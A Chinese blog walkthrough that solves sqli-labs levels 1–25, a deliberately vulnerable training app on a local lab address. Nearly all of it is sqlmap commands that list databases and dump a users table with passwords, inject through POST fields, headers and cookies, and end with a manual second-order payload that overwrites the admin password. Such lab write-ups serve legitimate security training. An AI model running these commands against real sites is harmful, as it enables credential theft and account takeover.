使用SQLMAP完成sqli-labs全攻略(1-25关)
作者:FancyPig | 发布时间: | 更新时间:
相关阅读
使用SQLMAP的通用思路
只要找到注入点,直接一把梭就完事了

譬如我们这里看到sqli-labs的带参数的注入点大概率是?id=1

那我们直接用sqlmap跑就行了
查看数据库
sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 --dbs
如果能够爆出数据库,我们接下来的操作就是固定的

查看数据表
譬如我们想看security这个数据库下有什么表
sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 -D security --tables

查看列字段有哪些
查看security数据库下的users表里都有哪些字段
sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 -D security -T users --columns

查看列字段的具体值
查看security数据库下的users表里的id、password、username有哪些值
sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 -D security -T users --columns id,password,username --dump

这时里面的账户数据一目了然,这就是完整的操作流程,所以我们一旦能找到注入点,并成功日出数据库,游戏结束,后面的动作都是一样的,因此,我们在后面的通关方法中,只给出日出数据库的操作便算作完成!
sqli-labs第一关
sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 --dbs

sqli-labs第二关
sqlmap -u http://192.168.10.215/sqli-labs/Less-2/?id=1 --dbs

sqli-labs第三关
sqlmap -u http://192.168.10.215/sqli-labs/Less-3/?id=1 --dbs

sqli-labs第四关
sqlmap -u http://192.168.10.215/sqli-labs/Less-4/?id=1 --dbs

sqli-labs第五关
sqlmap -u http://192.168.10.215/sqli-labs/Less-5/?id=1 --dbs

sqli-labs第六关
sqlmap -u http://192.168.10.215/sqli-labs/Less-6/?id=1 --dbs

sqli-labs第七关
sqlmap -u http://192.168.10.215/sqli-labs/Less-7/?id=1 --dbs

sqli-labs第八关
sqlmap -u http://192.168.10.215/sqli-labs/Less-8/?id=1 --dbs

sqli-labs第九关
sqlmap -u http://192.168.10.215/sqli-labs/Less-9/?id=1 --dbs

sqli-labs第十关
sqlmap -u http://192.168.10.215/sqli-labs/Less-10/?id=1 -level=2 --dbs

sqli-labs第十一关
从十一关开始,注入位置会发生变化,之前都是从GET的URL部分注入的,现在这里是从POST请求中的Payload进行注入的,因此我们的命令也相应发生了变化,需要使用--data来定义payload的内容
sqlmap -u http://192.168.10.215/sqli-labs/Less-11/index.php --data "uname=1&passwd=11&submit=Submit" --dbs

sqli-labs第十二关
sqlmap -u http://192.168.10.215/sqli-labs/Less-12/index.php --data "uname=1&passwd=11&submit=Submit" --dbs

sqli-labs第十三关
sqlmap -u http://192.168.10.215/sqli-labs/Less-13/index.php --data "uname=1&passwd=11&submit=Submit" --dbs

sqli-labs第十四关
sqlmap -u http://192.168.10.215/sqli-labs/Less-14/index.php --data "uname=1&passwd=11&submit=Submit" --dbs

sqli-labs第十五关
sqlmap -u http://192.168.10.215/sqli-labs/Less-15/index.php --data "uname=1&passwd=11&submit=Submit" --dbs

sqli-labs第十六关
sqlmap -u http://192.168.10.215/sqli-labs/Less-16/index.php --data "uname=1&passwd=11&submit=Submit" --dbs --level=2

sqli-labs第十七关
sqlmap -u http://192.168.10.215/sqli-labs/Less-17/index.php --data "uname=admin&passwd=admin&submit=Submit" --dbs

sqli-labs第十八关
这一关注入位置就在User-Agent中
sqlmap -u "http://192.168.10.215/sqli-labs/Less-18/" --data="uname=admin&passwd=admin&submit=Submit" --user-agent="*" --thread=10 --dbs

sqli-labs第十九关
这一关注入点位置就在Referer中
sqlmap -u "http://192.168.10.215/sqli-labs/Less-19/" --data="uname=admin&passwd=admin&submit=Submit" --referer="*" --thread=10 --dbs

sqli-labs第二十关
这一关注入点位置就在Cookie中
sqlmap -u http://192.168.10.215/sqli-labs/Less-20/index.php --cookie="uname=admin" --dbs

sqli-labs第二十一关
这一关注入点位置仍然在Cookie中,但是uname=后面使用了base64编码,因此我们这里要引入--tamper "base64encode.py"来做base64编码
sqlmap -u http://192.168.10.215/sqli-labs/Less-21/index.php --cookie="uname=*" --dbs --tamper "base64encode.py"

sqli-labs第二十二关
这一关注入点位置仍然在Cookie中,同二十一关类似,uname=后面使用了base64编码,因此我们这里要引入--tamper "base64encode.py"来做base64编码
sqlmap -u http://192.168.10.215/sqli-labs/Less-22/index.php --cookie="uname=*" --dbs --tamper "base64encode.py"

sqli-labs第二十三关
第二十三关又回到了get请求,因此我们直接注入就好来
sqlmap -u http://192.168.10.215/sqli-labs/Less-23/?id=1 --dbs

sqli-labs第二十四关
二次注入,在这里似乎用不了sqlmap了,需要手工完成
先注册一个新的用户,用户名为类似下面这种
admin'#fancypig


可以看到表里新增一个用户

然后修改密码为fancypig666

点击Reset

观察数据库会发现admin的密码被改了,注入到此结束

sqli-labs第二十五关
sqlmap -u http://192.168.10.215/sqli-labs/Less-25/?id=1 --dbs
